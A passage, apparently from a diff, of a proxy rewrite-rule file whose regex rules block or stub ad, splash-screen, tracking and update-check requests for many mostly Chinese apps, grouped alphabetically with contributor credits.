hostname = api.qbb6.com +^https?:\/\/api\.qbb6\.com\/ad\/ reject + +# > 全民K歌 +# hostname = y.gtimg.cn +^https?:\/\/y\.gtimg\.cn\/music\/common\/\/upload\/kg_ad\/.+?\d{3,4}x\d{4} reject-200 + +# > 全家便利店 +# hostname = fmapp.chinafamilymart.com.cn +^https?:\/\/fmapp\.chinafamilymart\.com\.cn\/api\/app\/biz\/base\/appversion\/latest reject + +# > 全能浏览器 +# hostname = mi.gdt.qq.com +# 感谢【梭哈 All in】分享 +^https?:\/\/mi\.gdt\.qq\.com\/gdt_mview\.fcg\?posid= reject-dict + +# > 全球购骑士卡 +# hostname = facade-api.black-unique.com +# 开屏广告 感谢【Kook】分享 +^https?:\/\/facade-api\.black-unique\.com\/app\/v1\/startScreen\?cityId=102923&channelId=0&width=1170&height=2532 reject-dict +^https?:\/\/facade-api\.black-unique\.com\/app\/v1\/startScreen\?.* reject-dict +^https?:\/\/facade-api\.black-unique\.com\/advertise\/v1\/get\?cityId=102923&positions=mine_popup reject-dict +^https?:\/\/facade-api\.black-unique\.com\/advertise\/v1\/get\?.* reject-dict + +# > 前程无忧 51Job +# hostname = img01.51jobcdn.com, appapi.51job*.com, cupid.51job*.com +# 去广告 (需卸载App重装) img01.51jobcdn.com +^https:\/\/img01\.51jobcdn\.com\/im\/mkt/(?:tg/((19|20)\d{2})banner/(?!jcgz2/)|\d{4}/bd/\d{4}/).*\.jpg reject +# 屏蔽更新 +^https?:\/\/appapi\.51job(app)?\.com\/api\/util\/get_version reject-dict +^https?:\/\/cupid\.51job(app)?\.com\/open\/noauth\/index\/last-version reject-dict +# 开屏及营销广告 +^https?:\/\/appapi\.51job(app)?\.com\/api\/market\/(?>adtrace|get_launch|get_prompt) reject +# 顶部弹窗 +^https?:\/\/cupid\.51job(app)?\.com\/open\/guide\/home-page-top reject +# 首页右上角浮窗及右边浮标 +^https?:\/\/cupid\.51job(app)?\.com\/open\/user-task\/user\/task\/init reject +# 底栏中央活动标 +^https?:\/\/cupid\.51job(app)?\.com\/open\/index\/notice-infos reject-dict +# 弹窗广告 +^https?:\/\/cupid\.51job(app)?\.com\/launch-hub\/open\/noauth\/popUp reject +# 推荐流信息广告 +^https?:\/\/cupid\.51job(app)?\.com\/open\/index\/recommend-infos reject + +# > 企迈 - QMAI(包含: 挪瓦咖啡、林里柠檬茶、霸王茶姬、陈香贵) +# hostname = webapi.qmai.cn, miniapp.qmai.cn +^https?:\/\/(?>webapi|miniapp)\.qmai\.cn\/web\/cmk-center\/marketing\/canvas\/advert reject + + + +# >>>>>>>>>>>>>>> ✅ R ✅ <<<<<<<<<<<<<< +# > 人民日报 +# hostname = app.peopleapp.com, stat.peopleapp.com, adstatic.peopleapp.com +^https?:\/\/app\.peopleapp\.com\/Api\/\d+/HomeApi\/(adv|getAdvertImage) reject +^https?:\/\/stat\.peopleapp\.com\/ reject +^https?:\/\/adstatic\.peopleapp\.com\/upload\/AppLoad\/.*.(jpg|png) reject-200 + +# > 人人视频 +# hostname = api.rr.tv +# RRTV_屏蔽軟件更新 +^https?:\/\/api\.rr\.tv\/.*?Version reject +# RRTV_屏蔽限時彈窗 +https://api.rr.tv/storage/business/rootName/app/homePage\?dataType=JSON reject-dict + +# > 日日煮 +# hostname = cms.daydaycook.com.cn, api.daydaycook.com.cn +^https?:\/\/cms\.daydaycook\.com\.cn\/api\/cms\/advertisement\/ reject +^https?:\/\/api\.daydaycook\.com\.cn\/daydaycook\/server\/ad\/ reject + +# > 日淘任意门 +# hostname = app.meruki.cn +# 开屏广告 感谢【Ava阿檬】分享 +^https?:\/\/app\.meruki\.cn\/\?n=Sig\.Front\.AppFront\.GetOpenAdDoorzo reject-dict + +# > 日产智联 +# hostname = oneapph5.dongfeng-nissan.com.cn +# 开屏广告 +^https?:\/\/oneapph5\.dongfeng-nissan\.com\.cn\/mb-gw\/vmsp-discover\/rest\/business-service\/v1\/advert\/advertinfo reject-dict + +# > RARBG +# hostname = dyncdn.me +# https://rarbgmirror.org/torrents.php +^https?:\/\/dyncdn\.me\/static\/\d{0,2}\/js\/expla\d{0,4}\.js$ reject-200 +^https?:\/\/dyncdn\.me\/static\/\d{0,2}\/js\/showads\.js$ response-body-replace-regex true false + +# > 瑞幸咖啡 +# hostname = capi.lkcoffee.com, ecapi.lkcoffee.com, m.lkcoffee.com, img0*.luckincoffeecdn.com +^https?:\/\/capi\.lkcoffee\.com\/resource\/m\/sys\/app\/adposNew response-body-replace-regex \{.+\} {"status":"SUCCESS"} +^https?:\/\/(ec|c)api\.lkcoffee\.com\/resource\/m\/eorder\/product\/popAppTagProductList mock-response-body data-type=json data="{"status":"SUCCESS"}" +^https?:\/\/m\.lkcoffee\.com\/ecapi\/resource\/m\/member\/exchange\/page response-body-replace-regex \{.+\} {"status":"SUCCESS"} +^https?:\/\/m\.lkcoffee\.com\/capi\/resource\/m\/growUp\/main response-body-replace-regex "popTitle":".+?" "popTitle":"" +^https?:\/\/img0[1-9]{1}\.luckincoffeecdn\.com\/group\d/M00/[A-Z0-9]{2}/[A-Z0-9]{2}/[a-zA-Z0-9]{29}\.(jpg|jpeg)_\.webp reject-200 + + +# >>>>>>>>>>>>>>> ✅ S ✅ <<<<<<<<<<<<<< +# > spotify +# hostname = spclient.wg.spotify.com, api*.musical.ly +^https?:\/\/spclient\.wg\.spotify\.com\/(ad-logic|ads|.+ad_slot|.+banners|.+canvases|.+cards|.+crashlytics|.+doubleclick.net|.+enabled-tracks|.+event|.+sponsored|.+promoted|.+promoted_offer) reject-img +^https?:\/\/api\d?\.musical\.ly\/api\/ad\/ reject-img + +# > Soul +# hostname = 47.110.187.87, ssp.soulapp.cn, chat-live.soulapp.cn, api-chat.soulapp.cn, api-account.soulapp.cn, api-global.soulapp.me, api-a.soulapp.cn, api-pay.soulapp.cn, gateway-mobile-gray.soulapp.cn, post.soulapp.cn, api-user.soulapp.cn +# 信息流,帖子详情页等各种广告 +^https?:\/\/ssp\.soulapp\.cn\/api\/q reject-dict +^https?:\/\/ssp\.soulapp\.cn\/api\/ad\/config reject-dict +^https?:\/\/chat-live\.soulapp\.cn\/live\/planet\/recListV2 reject-200 +^https?:\/\/api-chat\.soulapp\.cn\/chat\/entrance\/first reject-dict +# 国际版Soul去广告 +^https?:\/\/api-global\.soulapp\.me\/app\/open\/get reject + +# > 苏宁 +# hostname = mpcs.suning.com, image.suning.com, luckman.suning.com +^https?:\/\/mpcs\.suning\.com\/mpcs\/dm\/getDmInfo reject +^https?:\/\/image\.suning\.cn\/uimg\/ma\/ad\/ reject-200 +# 新人专享弹窗 +^https?:\/\/luckman\.suning\.com\/luck-web\/policy\/v\d\/msf\/index\.do reject-200 + +# > 苏e行 +# hostname = ad.shunchangzhixing.com, api.bwton.com +# 需卸载重装,有缓存 +^https?:\/\/ad\.shunchangzhixing\.com\/getAd reject-dict +^https?:\/\/api\.bwton\.com\/bff\/app\/h5\/v1\/station\/goods reject-dict +# 开屏广告 感谢【alist.choc.ga】分享 +^https?:\/\/api\.bwton\.com\/bas\/ad reject-200 +# 软件内推广广告 感谢【为什么要看头像呢】分享 +^https?:\/\/api\.bwton\.com\/bff\/app\/index\/goods reject-dict +^https?:\/\/api\.bwton\.com\/bff\/app\/index\/recommend reject-dict + +# > 苏周到 +# hostname = szdmobile.suzhou.gov.cn +# 更新提示 感谢【alist.choc.ga】分享 +^https?:\/\/szdmobile\.suzhou\.gov\.cn\/thirdapp-center\/appUpdate\/update reject-dict + +# > 苏打校园APP +# hostname = api.sodalife.xyz +^https?:\/\/api\.sodalife\.xyz\/v1\/posters\?location=SODA_APP%3AHOME%3ABOTTOM reject-dict +^https?:\/\/api\.sodalife\.xyz\/v1\/posters\?location=SODA_APP%3AHOME%3ACENTER reject-dict +^https?:\/\/api\.sodalife\.xyz\/v1\/posters\?location=SODA_APP%3AMINE%3ABOTTOM reject-dict +^https?:\/\/api\.sodalife\.xyz\/v1\/posters\?location=SODA_APP%3AREWARDS%3ACENTER reject-dict +^https?:\/\/api\.sodalife\.xyz\/v1\/goods reject-dict + +# > 四季線上影視 +# hostname = service.4gtv.tv +^https?:\/\/service\.4gtv\.tv\/4gtv\/Data\/(?>GetAD|ADLog) reject-200 + +# > 四川航空 +# hostname = mapi.sichuanair.com +^https?:\/\/mapi\.sichuanair\.com\/zt\/tribeport\/encrypt_translate_key reject-200 + +# > 搜狐 +# hostname = *.souhu.com +^https?:\/\/api\.k\.sohu\.com\/api\/news\/adsense reject-200 +^https?:\/\/pic\.k\.sohu\.com\/img8\/wb\/tj\/ reject-200 +^https?:\/\/s1\.api\.tv\.itc\.cn\/v4\/mobile\/control\/switch\.json reject-200 +^https?:\/\/(api|api-bk\d+)\.tv\.sohu\.com\/agg\/api\/app\/config\/bootstrap reject +^https?:\/\/agn\.aty\.sohu\.com\/m? reject-img +^https?:\/\/api\.k\.sohu\.com\/api\/channel\/ad\/ reject-img +^https?:\/\/hui\.sohu\.com\/predownload2\/? reject-img +^https?:\/\/m\.aty\.sohu\.com\/openload? reject-img +^https?:\/\/mmg\.aty\.sohu\.com\/mqs? reject-img +^https?:\/\/mmg\.aty\.sohu\.com\/pvlog? reject-img +^https?:\/\/photocdn\.sohu\.com\/tvmobilemvms reject-img +^https?:\/\/pic\.k\.sohu\.com\/img\d\/wb\/tj\/ reject +^https?:\/\/s\.go\.sohu\.com\/adgtr\/\?gbcode= reject-img + +# > 搜狗输入法 +# hostname = business-cdn.shouji.sogou.com, ios.sogou.com, android.sogou.com, h5api.sginput.qq.com +#^https?:\/\/business-cdn\.shouji\.sogou\.com\/wapdl\/hole\/.+?\.jpg reject-200 +# 开屏广告 +^https?://(ios|android)\.sogou\.com/[^/]+/sogou_input_[^/]+/[^/]+/index\.html reject +# 屏蔽游戏中心 +^https?:\/\/h5api\.sginput\.qq\.com\/v1\/gcenter\/ios\/homepage reject-dict + +# > 搜电充电 微信小程序 +# hostname = wxs-weixin.sd.zhumanggroup.com +^https?:\/\/wxs-weixin\.sd\.zhumanggroup\.com\/api\/v2\/ad reject-dict + +# > 深圳通 +# hostname = ecard.shenzhentong.com +^https?:\/\/ecard\.shenzhentong\.com\/wxweb\/bwxppub2\/QryAdvertList\.do reject-200 + +# > 盛趣游戏 +# hostname = daoyu.sdo.com +^https?:\/\/daoyu\.sdo\.com\/api\/userCommon\/getAppStartAd reject + +# > 神马 +# hostname = editor.sm.cn +^https?:\/\/editor\.sm\.cn\/launch_picture reject + +# > 顺丰快递 +# hostname = ccsp-egmas.sf-express.com, ucmp.sf-express.com +# APP净化 感谢【怎么肥事】分享 +^https?:\/\/ucmp\.sf-express\.com\/proxy\/esgcempcore\/memberGoods\/pointMallService\/goodsList reject-dict +^https?:\/\/ccsp-egmas\.sf-express\.com\/cx-app-video\/video\/app\/video\/labelClusterList reject-dict +^https?:\/\/ccsp-egmas\.sf-express\.com\/cx-app-base\/base\/app\/ad\/queryInfoFlow reject-dict +^https?:\/\/ccsp-egmas\.sf-express\.com\/cx-app-base\/base\/app\/bms\/queryRecommend reject-dict + +# > 顺丰快递小程序 +# hostname = mcs-mimp-web.sf-express.com, ucmp.sf-express.com +^https?:\/\/mcs-mimp-web\.sf-express\.com\/mcs-mimp\/integralPlanet\/getCxAdvertiseList reject-dict +^https?:\/\/ucmp-static\.sf-express\.com\/proxy\/wxbase\/wxTicket\/wxLiveStreamInfo\?pageNo reject-dict +^https?:\/\/ucmp\.sf-express\.com\/proxy\/operation-platform\/info-flow-adver\/query reject-dict +^https?:\/\/ucmp\.sf-express\.com\/proxy\/esgcempcore\/memberManage\/memberEquity\/queryRecommendEquity reject-dict +^https?:\/\/ucmp\.sf-express\.com\/proxy\/esgcempcore\/memberActLengthy\/fullGiveActivityService\/fullGiveInfo reject-dict + +# > 顺丰优选 +# hostname = mapi.sfbest.com +^https?:\/\/mapi\.sfbest\.com\/brokerservice-server\/cms\/getPositionById.* reject + +# > 少数派 +# hostname = ios.sspai.com +https://ios.sspai.com/api/v3/recommend/page/get\?ad.*ios_home_modal reject + +# > 书旗小说 +# hostname = ut2.shuqistat.com, dsp.toutiao.com, sf3-be-pack.pglstatp-toutiao.com, api-access.pangolin-sdk-toutiao.com, sq.sljkj.com, ocean.shuqireader.com, img-tailor.11222.cn, message.shuqireader.com, feedback.uc.cn, *.shuqireader.com, 101.91.69.26 +^https?:\/\/ut2\.shuqistat\.com\/.+\.gif reject +^https?:\/\/dsp\.toutiao\.com\/api\/xunfei\/ads\/ reject +^https?:\/\/sf3-be-pack\.pglstatp-toutiao\.com\/img\/ad\.union\.api reject +^https?:\/\/api-access\.pangolin-sdk-toutiao\.com\/api\/ad\/.+ reject +^https?:\/\/sq\.sljkj\.com\/api\/sdk\/ads2 reject +^https?:\/\/ocean\.shuqireader\.com\/api\/ad\/adserver\/.+ reject +^https?:\/\/ocean\.shuqireader\.com\/api\/route\/iosReadPage\/ad.+ reject +^https?:\/\/.+\.pglstatp-toutiao\.com reject +^https?:\/\/img-tailor\.11222\.cn\/pm\/app\/.+\.gif reject +^https?:\/\/img-tailor\.11222\.cn\/cms\/upload\/img\/.+ reject +^https?:\/\/message\.shuqireader\.com\/message\/.+ reject +^https?:\/\/101\.91\.69\.26:8080\/.+ reject +^https?:\/\/feedback\.uc\.cn\/feedback\/api\/get_unread_status reject +^https?:\/\/.+\.shuqireader\.com\/sapi\/.+ reject + +# > 神舟汽车 +# hostname = img01.10101111cdn.com +^https?:\/\/img01\.10101111cdn\.com\/adpos\/share\/ reject-img + +# > 上汽大众 +# hostname = api.mos.csvw.com +# 已无法MITM +#^https?:\/\/api\.mos\.csvw\.com\/mos\/operation\/home\/api\/v\d\/app\/brand\/queryDataForOperation reject-200 + +# > 首汽约车 +# hostname = gw-passenger.01zhuanche.com, img.yun.01zhuanche +^https?:\/\/gw-passenger\.01zhuanche\.com\/gw-passenger\/car-rest\/webservice\/passenger\/recommendADs reject-200 +^https?:\/\/gw-passenger\.01zhuanche\.com\/gw-passenger\/zhuanche-passenger-token\/leachtoken\/webservice\/homepage\/queryADs reject +^https?:\/\/gw-passenger\.01zhuanche\.com\/gw-passenger\/zhuanche-passengerController\/notk\/passenger\/recommendADs reject +^https?:\/\/img\.yun\.01zhuanche\.com\/statics\/app\/advertisement\/.+?-750-1334 reject-img + +# > 首旅如家 +# hostname = app.homeinns.com +^https?:\/\/app\.homeinns\.com\/api\/landing reject + +# > 三联中读 +# hostname = apis.lifeweek.com.cn +https://apis.lifeweek.com.cn/api/baseConfig/getIosNewConfig reject + +# > 识货 +# hostname = sh-gateway.shihuo.cn, static.shihuocdn.cn +# 开屏广告 +^https?:\/\/sh-gateway\.shihuo\.cn\/v\d\/services\/sh-adapi\/home\/(screen|ad) reject +^https?:\/\/static\.shihuocdn\.cn\/admin\/imgs/202[0-9]{5}\/[a-z0-9]{32}_513x777\.png reject-200 +^https?:\/\/static\.shihuocdn\.cn\/admin\/imgs/202[0-9]{5}\/[a-z0-9]{32}_750x1624\.png reject-200 + +# > 闪现一下 +# hostname = api.gameplus.qq.com +^https?:\/\/api\.gameplus\.qq\.com\/community\.OnloadSrv\/GetPreloadScreenInfo reject-200 + +# > 闪动校园 +# hostname = api.huachenjie.com, open.e.kuaishou.cn, ad.shunchangzhixing.com, zlsdk.1rtb.net +# 感谢【𝔐𝔞𝔨𝔞𝔟𝔞 𝔨𝔞】分享 +# 去除ai视频 +^https:\/\/api\.huachenjie\.com\/run-front\/ai\/getAICategory reject-dict +# 去除顶部横幅 +^https:\/\/api\.huachenjie\.com\/run-front\/home\/sports\/getPopup reject-dict +# 去除首页广告 +^https:\/\/api\.huachenjie\.com\/run-front\/ad reject-dict +# 去除“我”页面下方福袋 +^http:\/\/ad\.shunchangzhixing\.com\/getAd reject-dict +# 去除开屏广告 +^https:\/\/open\.e\.kuaishou\.cn\/rest\/e\/v3\/open reject-dict +^https:\/\/zlsdk\.1rtb\.net\/sdk\/req_ad\?sdk_version=\d+\.\d+\.\d+\.\d+&device_os=iOS&accept_ad_type=\d+&app_id=\d+&pid=\d+&sdk_version_code=\d+ reject-dict + +# > 山姆会员商店 +# hostname = api-sams.walmartmobile.cn +^https?:\/\/api-sams\.walmartmobile\.cn\/api\/v\d\/sams\/sams-user\/(window\/getGoUpPlus|screen_promotion\/get) reject +^https?:\/\/api-sams\.walmartmobile\.cn\/api\/v\d\/sams\/channel\/portal\/AdgroupData reject-dict +^https?:\/\/api-sams\.walmartmobile\.cn\/api\/v\d\/sams\/configuration\/personCenterEntrance\/query reject-dict +^https?:\/\/api-sams\.walmartmobile\.cn\/api\/v\d\/sams\/trade\/order\/getOftenBuyGoods reject-dict +^https?:\/\/api-sams\.walmartmobile\.cn\/api\/v\d\/sams\/goods-portal\/spu\/searchRecommendPool reject-dict +^https?:\/\/api-sams\.walmartmobile\.cn\/api\/v\d\/sams\/configuration\/appVersionUpdate\/getAppVersionUpdateInfo reject-dict +# 屏蔽更新 +^https?:\/\/api-sams\.walmartmobile\.cn\/api\/v1\/sams\/configuration\/portal\/beUpdate reject-dict + +# > 收钱吧 买单小程序 +# hostname = api.pinduoduo.com +^https?:\/\/api\.pinduoduo\.com\/api\/ktt_gateway\/activity\/feeds\/personal_home_page\/ reject + +# > 省省回头车 +# hostname = www.ymm56.com +# 开屏广告 需要清理缓存 +^https:\/\/www\.ymm56\.com\/short-distance-match-app\/openAppAd reject-dict + +# > 什么值得买 +^https?:\/\/haojia\.m\.smzdm\.com\/detail_modul\/other_modul\? reject-dict + + + +# >>>>>>>>>>>>>>> ✅ T ✅ <<<<<<<<<<<<<< +# Talkatone +# hostname = alt-r.my.com, imgx.jampp.com +^https?:\/\/alt-r\.my\.com\/mobile reject-dict +^https?:\/\/imgx\.jampp\.com\/imgsrv\/tn reject-img + +# TestFlight 国区下载修正 +# ^https:\/\/testflight\.apple\.com\/v2\/accounts\/.*\/apps\/\d*\/builds\/\d*\/install$ request-body-replace-regex "storefrontId"\x20:\x20.*, "storefrontId":"143441-19,29" + +# > TT语音 +# hostname = ga-album-cdnqn.52tt.com +# 开屏广告 个别图片误杀 如开启可自行添加主机名 +^https?:\/\/ga-album-cdnqn\.52tt\.com\/prod-yunying\/.+.jpg reject-dict + +# > TapTap +# hostname = api.taptapdada.com +# 开屏广告 感谢【TEXAS】分享 +^https?:\/\/api\.taptapdada\.com\/startup-logo\/v\d\/combo\? reject-dict + +# > TubeMax +# hostname = *.i18n-pglstatp.com +# 感谢【可莉】分享 +^https?:\/\/.*\.i18n-pglstatp\.com\/obj\/ad-pattern-sg reject + +# > top-widget +# hostname = top-widgets-api.xiaozujian.com +^https?:\/\/top-widgets-api\.xiaozujian\.com\/api\/ad\/config reject + +# > 台铃智能 +# hostname = www.tailgdd.com +# 开屏广告 +^https://www\.tailgdd\.com/v8/smart/app/config/get$ response-body-json-replace data {} + +# > 天府市民云 +# hostname = tfsmy.chengdu.gov.cn, tft-app.cdtft.cn +# 注意:生活圈,社区打不开 需要的自己添加主机名 +^https?:\/\/tfsmy\.chengdu\.gov\.cn\/api\/v5\/core\/version reject-200 +^https?:\/\/tft-app\.cdtft\.cn\/gateway-customer\/tftapp\/tft-ams\/api\/appAd response-body-replace-regex officialAdvertResultVo fmz200 + +# > 天府手机银行 +# hostname = cgbank.oss-cn-shenzhen.aliyuncs.com +^https?:\/\/cgbank\.oss-cn-shenzhen\.aliyuncs\.com\/visual\/advertisingImg\/.+.jpg reject-200 + +# > 天府银行小程序 +# hostname = chl.tf.cn, wechat.tf.cn +# 缴费弹窗广告 +^https?:\/\/chl\.tf\.cn\/channelmg\/sys\/socso\/order\/queryOrderInfo response-body-replace-regex "imgUrl" response-body "fmz200" +^https?:\/\/chl\.tf\.cn\/channelmg\/sys\/socso\/socsonew\/queryIsRealNameAdertInfo reject-dict +# 首页弹窗广告 +^https?:\/\/wechat\.tf\.cn\/mini-financial\/model\/queryPopup reject-dict + +# > 天府通 +# hostname = ams-cdn.cdtft.cn +# 需卸载重装,因为设置里没有清楚缓存,推荐搭配旧版5.2.0使用 感谢【Leo】分享 +^https?:\/\/ams-cdn\.cdtft\.cn\/prod\/tft-ams\/ reject-dict + +# > 天山云TV +# hostname = www.tsytv.com.cn +^https?:\/\/www\.tsytv\.com\.cn\/api\/app\/ios\/ads reject-img + +# > 天天基金 +# hostname = j5.dfcfw.com, appactive.1234567.com.cn +^https?:\/\/j5\.dfcfw\.com\/WG\/conf\/202[0-9]{5}/.*.(jpg|png) reject-200 +^https?:\/\/j5\.dfcfw\.com\/WG\/appconf\/202[0-9]{5}/.*.(jpg|png) reject-200 +^https?:\/\/appactive\.1234567\.com\.cn\/AppoperationApi\/OperationService\/GetAppStartImg reject + +# > 天星金融 +# hostname = t1.market.xiaomi.com +^https?:\/\/t1\.market\.xiaomi\.com\/thumbnail\/webp\/w1170q100\/ reject + +# > 天猫精灵 +# hostname = ossgw.alicdn.com, zconfig.alibabausercontent.com +^https?:\/\/ossgw.alicdn.com\/creatives-assets\/image\/ reject-200 +# 这一条规则会影响淘宝正常运行,需要增加headers判断 user-agent: %E6%B7%98%E5%AE%9D/40491997 +#^https?:\/\/zconfig\.alibabausercontent\.com\/zconfig reject + +# > 天猫养车 +# hostname = api.ncarzone.com +# 中间横幅广告 +^https?:\/\/api\.ncarzone\.com\/superapi\/canary\/appHomeFacade\/getNewUserPlateActivity reject-200 +^https?:\/\/api\.ncarzone\.com\/superapi\/canary\/bannerFacade\/app\/list reject-200 +# 右下角悬浮广告 +^https?:\/\/api\.ncarzone\.com\/superapi\/canary\/popupDialogFacade\/popupDialogList reject-200 + +# > 天翼云盘 +# hostname = api.cloud.189.cn +# 感谢【All in 梭哈】分享 +^https?:\/\/api\.cloud\.189\.cn\/guns\/(img\/recommendedPosition|getOpenscreenBanners) reject-dict + +# > 同花顺 +# hostname = adm.10jqka.com.cn, iphone.ac.qq.com, stat.10jqka.com.cn +^https?:\/\/adm\.10jqka\.com\.cn\/interface\/ad\/recommend reject-200 +^https?:\/\/iphone\.ac\.qq\.com\/.*\/Support\/(getSystemConf|bootScreen) reject +# 同花顺至尊版 感谢【梭哈 All in】分享 +^https?:\/\/stat\.10jqka\.com\.cn\/q\?ld=mobile&id=ad reject-dict + +# > 同程旅行 +# hostname = *.ly.com, *.17usoft.com, *.17u.cn, mobilehotelapi.elong.com, quic-tcmapi.elong.com +# 开屏广告 +^https?:\/\/wx\.17u\.cn\/xcxhomeapi\/((aggregator\/index)|(home\/(screen|banner|converge)))$ reject +^https?:\/\/wx\.17u\.cn\/crapi\/query\/getAdImgUrlByCode reject-dict +^https:\/\/tcmobileapi\.17usoft\.com\/appindexnew\/index\/openscreen reject-dict +^https:\/\/tcmobileapi\.17usoft\.com\/appindexnew\/index\/getindexlayoutcelllist reject-dict +^https:\/\/tcmobileapi\.17usoft\.com\/appindexnew\/index\/gethotrecommend reject-dict +# 景点界面轮播图和右下角悬浮窗 +^https:\/\/mobileapi\.ly\.com\/wlfrontend\/app\/scenicMain reject-dict +# 租车界面 广告 +^https:\/\/wx\.17u\.cn\/crapi\/query\/ad reject-dict +# 酒店界面广告 +^https:\/\/mobilehotelapi\.elong\.com\/appHotel\/adx\/advert\/getAdvert reject-dict + +# > 淘票票 +# hostname = acs.m.taobao.com +# 开屏广告 +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.film\.mtopadvertiseapi\.(queryadvertise|queryloadingbanner)\/ reject + +# > 淘淘阅读 +# hostname = bid.adview.cn +# 感谢【Baby】分享 +^https?:\/\/bid\.adview\.cn\/agent\/getAd reject + +# > 途牛 +# hostname = m.tuniu.com +^https?:\/\/m\.tuniu\.com\/api\/operation\/splash\/ reject-200 + +# > 途虎养车小程序 +# hostname = mkt-gateway.tuhu.cn +# 首页悬浮窗广告 +^https?:\/\/mkt-gateway\.tuhu\.cn\/mkt-scene-marketing-service\/api\/scene\/queryScheme reject-dict + +# > 途家民宿 +# hostname = client.tujia.com +# 需要卸载重装 +^https?:\/\/client\.tujia\.com\/bnbapp-node reject-dict +^https?:\/\/client\.tujia\.com\/bnbapp-node\/app\/portal\/getportalconfig\/bnb\/v2 response-body-replace-regex "banners":\[.+\], "banners":[], +^https?:\/\/client\.tujia\.com\/bnbapp-node\/app\/(promotion\/popup\/getpopupups\/bnb|portal\/getStartPictureAdvertising) reject + +# > 太平洋电脑 +# hostname = mrobot.pconline.com.cn, mrobot.pcauto.com.cn, agent-count.pconline.com.cn +^https?:\/\/mrobot\.pconline\.com\.cn\/s\/onlineinfo\/ad\/ reject-200 +^https?:\/\/agent-count\.pconline\.com\.cn\/counter\/adAnalyse\/ reject +^https?:\/\/mrobot\.(pcauto|pconline)\.com\.cn\/v\d\/ad\dp reject +^https?:\/\/mrobot\.pcauto\.com\.cn\/xsp\/s\/auto\/info\/(ad|preload) reject + +# > 太平洋知科技 +# hostname = mrobot.pconline.com.cn +^https?:\/\/mrobot\.pconline\.com\.cn\/s-900\/onlineinfo\/cms\/launch reject-200 + +# > 淘宝 +# hostname = acs.m.taobao.com, guide-acs.m.taobao.com, poplayer.template.alibaba.com +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alibaba\.advertisementservice\.getadv reject-dict +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alimama\.etao\.config\.query\/.+?etao_advertise reject-dict +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alimusic\.common\.mobileservice\.startinit reject-dict +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.etao\.noah\.query\/.+tao_splash reject-dict +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.film\.mtopadvertiseapi\.queryadvertise reject-dict +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.o2o\.ad\.gateway\.get reject-dict +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.taobao\.idle\.home\.welcome reject-dict +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.trip\.activity\.querytmsresources reject-dict +^https?:\/\/guide-acs\.m\.taobao\.com\/gw\/mtop\.taobao\.(volvo\.secondfloor\.getconfig|wireless\.home\.newface\.awesome\.get) reject-dict + +# > 腾讯视频 +# hostname = vv.video.qq.com +# ^https?:\/\/[\d\.:]*\/?(defaultts\.tc|vmind\.qqvideo\.tc|finderpdd\.video)\.qq\.com\/\w+ reject +# ^https?:\/\/apd-vlive\.apdcdn\.tc\.qq\.com\/vmind\.qqvideo\.tc\.qq\.com\/\w+ reject +# ^https?:\/\/apd-\w+\.v\.smtcdns\.com\/(defaultts|omts|vmind\.qqvideo)\.tc\.qq\.com\/\w+ reject +# ^https?:\/\/vv\.video\.qq\.com\/(diff|get)vmind reject-dict +# ^https?:\/\/vv\.video\.qq\.com\/getvinfo response-body-replace-regex &sppreviewtype=\d(.*)&spsrt=\d &sppreviewtype=0$1&spsrt=0 + +# > 腾讯乘车码微信小程序 +# hostname = ccmsupport-sz.tenpay.com +# 感谢【jinlvei】分享 +^https?:\/\/ccmsupport-sz\.tenpay\.com\/cgi-bin\/common\/ccm_page_element.cgi reject + +# > 腾讯游戏社区 +# hostname = static.gameplus.qq.com +# > d{10} 10位纯数字-\d{4}4位纯数字 $ 结尾符号 :只拦截10位纯数字-4位纯数字结尾的短连接,后面带尾巴的长连接不拦截。 +# > 如果想拦截1234567890-1234?wx类的长连接就加长规则,不加结尾符,只要前面的匹配了都会拦截。 +^https?:\/\/static\.gameplus\.qq\.com\/img\/\d{10}-\d{4}$ reject + +# > 腾讯游戏 +# hostname = qt.qq.com +^https?:\/\/qt\.qq\.com\/lua\/mengyou\/get_splash_screen_info reject + +# > 腾讯手机管家 +# hostname = otheve.beacon.qq.com +# ^https?://otheve.beacon.qq.com\/analytics\/upload\?sid=.* reject + +# > 腾讯地图 +# hostname = 4gimg.map.qq.com +^https?:\/\/4gimg\.map\.qq\.com\/mwaSplash\/ reject-200 + +# > 腾讯新闻 +#^https?:\/\/r\.inews\.qq\.com\/getSplash\?apptype=ios&startarticleid=&__qnr= reject-img +^https?:\/\/r\.inews\.qq\.com\/(adsBlacklist|getFullScreenPic|getQQNewsRemoteConfig) reject +^https?:\/\/r\.inews\.qq\.com\/(getBannerAds|getNewsRemoteConfig|getSplash|searchHotCatList|upLoadLoc) reject + +# > 腾讯体育 +# hostname = news.ssp.qq.com, sports3.gtimg.com +^https?:\/\/news\.ssp\.qq\.com\/app reject +^https?:\/\/sports3\.gtimg\.com\/community\/20cf93884470434eaf38b2e77ab7796a\.png reject + +# > 腾讯广告 +# hostname = btrace.qq.com, api2.helper.qq.com, *.beacon.qq.com, mi.gdt.qq.com, lives.l.qq.com, imgcache.qq.com, mtteve.beacon.qq.com, vv.video.qq.com, qt.qq.com, 3gimg.qq.com, y.gtimg.cn, splashqqlive.gtimg.com, qzonestyle.gtimg.cn, discuz.gtimg.cn, bla.gtimg.com, mmgr.gtimg.com, bk.bingo.qq.com +# ^https?:\/\/btrace\.qq\.com reject-200 +# ^https?:\/\/api2\.helper\.qq\.com\/game\/buttons reject-img +# ^https?:\/\/lives\.l\.qq\.com\/livemsg\?sdtfrom= reject-img +# ^https?:\/\/imgcache\.qq\.com\/qqlive\/ reject-img +# ^https?:\/\/mtteve\.beacon\.qq\.com\/analytics reject-img +# ^https?:\/\/vv\.video\.qq\.com\/getvmind\? reject-200 +# ^https?:\/\/3gimg\.qq\.com\/tencentMapTouch\/app\/activity\/ reject-200 +# ^https?:\/\/3gimg\.qq\.com\/tencentMapTouch\/splash\/ reject-200 +# ^https?:\/\/y\.gtimg\.cn\/music\/.*?_Ad/\d+\.png reject-img +# ^https?:\/\/splashqqlive\.gtimg\.com\/website\/\d{6} reject-img +# 